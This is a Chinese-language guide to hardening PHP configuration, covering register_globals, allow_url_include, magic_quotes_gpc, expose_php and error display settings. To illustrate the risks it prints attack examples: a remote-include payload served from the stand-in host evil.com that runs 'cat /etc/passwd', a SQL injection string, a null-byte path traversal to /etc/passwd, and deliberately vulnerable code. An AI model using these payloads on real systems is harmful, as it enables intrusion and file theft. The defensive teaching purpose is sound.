PHP作为一门强大的脚本语言被越来越多的web应用程序采用，不规范的php安全配置可能会带来敏感信息泄漏、SQL注射、远程包含等问题，规范的安全配置可保障最基本的安全环境。下面我们分析几个会引发安全问题的PHP配置，并给出建议的选项。
1、 register_globals = OffPHP在进程启动时，会根据register_globals的设置，判断是否将$_GET、$_POST、$_COOKIE、$_ENV、$_SERVER、$REQUEST等数组变量里的内容自动注册为全局变量。我们举个例子来说明register_globals = On时，会引发的安全问题：<?php if (authenticated_user()) $authorized = true; ?>// 由于authorized 未被初始化，故而可能通过register_globals被定义// 如 GET example.php?authorized=1<?php if (!$authorized): // 一些重要的操作，比如SetCookies include(“SetCookies.php”);?>对于上述代码，由于PHP会自动的为每个提交的值创建一个变量，这样只要在请求中提交http://example.com/example.php?authorized=1,即可获得授权操作，为了避免出现这样的问题，建议将register_globals配置为Off。2、 allow_url_include =Off PHP通过此选项控制是否允许通过include/require来执行一个远程文件(如http://evil.com/evil.php或ftp://evil.com/evil.php)。代码示例如下：// http://HostA/test.php如下：<?php$strParam = $_GET['param'];if (!include_once($strParam.’.php’)){ echo “error”;}?>// http://evil.com/evil.php示例如下：<?php echo "<?php system('cat/etc/passwd'); ?>"?>
假如用户访问如下的URL，访问页面中的$strParam将被设置为一个远程的URL：http://evil.com/evil.php。如果此配置被设置为on，那么test.php会通过include_once执行远程服务器上的PHP文件（http://evil.com/evil.php），后果不言而喻。 http://HostA/test.php?param=http://evil.com/evil所以建议此选项强制配置为Off。当然要彻底解决上述代码的安全漏洞，除了规范PHP配置，还需要规范PHP编码。3、 magic_quotes_gpc = on 举一个典型的SQL注入示例，假如SQL语句用如下方式拼接：select * from user where pass=’ “. $_GET[‘passwd’]. ”' and user='” . $_GET[‘username’] .”';假如用户提交一个login.php?passwd=p&username=’ or ‘1’=’1请求，代码中的SQL语句将变成：select * from user where username='' or 1 = 1 passwd='p';这就造成一个SQL注入漏洞。避免此问题出现的正确思路是开发者在拼接SQL语句之前过滤所有接收的数值，并严格执行这种编码规范，但是并不是所有的开发者都会意识到这种问题的存在，而此时，如果将php.ini的magic_quotes_gpc设置为On时，PHP将对所有GPC参数($_GET,$_POST,$_COOKIE)进行addslashes处理[既转义单引号、双引号、反斜线和nullbyte]，该SQL语句将是：select * from user where username='\' or \'1\' = \'1\'' passwd='p';由于’已经被转义，SQL语句不能被成功执行，从而防止SQL注射。另外，以小节2中的http://HostA/test.php为例，当magic_quotes_gpc= Off的情况下，用户提交一个example.php?param=../../../etc/passwd%00请求，由于代码中限制的文件后缀（.php）将被%00截断，就会通过require_once尝试读取/etc/passwd文件。值得注意的是，magic_quotes_gpc配置为On时，有以下缺点：1、 php此时会对所有GPC参数做addslashes处理，会有比较大的性能损耗。2、 当GPC参数被用于其他操作如逻辑关系判断之前就必须先做strislashes处理，否则结果必然是不正确的。考虑到开启此选项带来的性能损耗和代码的复杂化，可以在使用时灵活设置，对于一些不规范或者无人维护的代码，可以开启此选项；更好的做法是将此值设置为Off，由开发者严格过滤来自用户的输入。4、 expose_php = Off 我们经常会在一个http头里发现这样的信息：X-Powered-By:PHP/5.2.11PHP的版本号暴露无疑，攻击者很容易捕获到此信息，要想解决此问题我们只要如下配置;;;;;;;;;;;;;;;;;; Miscellaneous ;;;;;;;;;;;;;;;;;;; Decides whether PHP may expose the fact thatit is installed on the server; (e.g. by adding its signature to the Webserver header). It is no security; threat in any way, but it makes it possibleto determine whether you use PHP; on your server or not.; http://php.net/expose-phpexpose_php = On该配置项默认为On，需要修改为Off。5、 display_errors = Off此控制项控制PHP是否将error、notice、warning日志打印出来，以及打印的位置。错误信息主要用于辅助开发，但是在线上环境却非常危险，因为这样将会把服务端的WebServer、数据库、PHP代码部署路径，甚至是数据库连接、数据表等关键信息暴露出去，为攻击者带来极大便利。所以建议产品上线时修改为Off。6、 error_reporting = E_ALL& ~E_NOTICE此配置项控制PHP打印哪些错误日志（errors，warnings，notices）。默认情况下会打印所有的错误日志，线上环境我们应该不显示具体的E_NOTICE日志信息。导致E_NOTICE错误的最普遍场景是——使用未经初始化的变量，以下述代码为例： // 假如用户请求中无username 参数，则会打印notice错误<?php // 假如用户请求中无username 参数，则会打印notice错误 $username = $_GET[‘username’]; // 引用一个未初始化的变量var2 // 则会打印notice错误 $var1 = $var2;?>如果用户访问的url中没有指定username参数，则代码中$_GET[‘username’]就是一个未经初始化的变量，直接访问就会抛出一个NOTICE错误。上述代码执行会报如下错误,这样即泄漏了代码目录。PHP Notice: Undefined index: username in /somepath/test.php on line 3PHP Notice: Undefined variable: var2 in /somepath/test.php on line 6攻击者会利用这些信息，猜测代码逻辑，使得攻击变得更方便。7、 display_startup_errors =Off php启动时产生的错误由此选项进行控制，这个和display_errors是分开的。为了避免PHP进城启动时产生的错误被打印到页面上而造成信息泄漏，此选项在线上服务也应该被配置为Off。为了方便开发和调试，开发环境可以将其设置为On。由此我们可以看出，正确的PHP基础安全配置可有效避免很多高危漏洞，避免泄漏服务器敏感信息，从而提升产品的安全性。